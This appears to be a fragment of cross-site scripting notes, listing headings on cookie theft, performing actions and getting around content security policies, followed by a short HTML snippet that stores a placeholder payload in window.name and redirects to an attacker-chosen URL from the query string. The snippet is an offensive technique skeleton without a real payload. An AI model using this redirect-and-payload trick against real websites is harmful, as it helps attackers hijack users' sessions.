XSS

XSS

Checking Common Parameters

Stealing Cookies

Performing actions

Getting around CSPs

<!doctype html>
<script>
name = "";   // 1000-char payload as JS string literal
location = unescape(location.search.slice(3)); // Get the redirect location 
</script>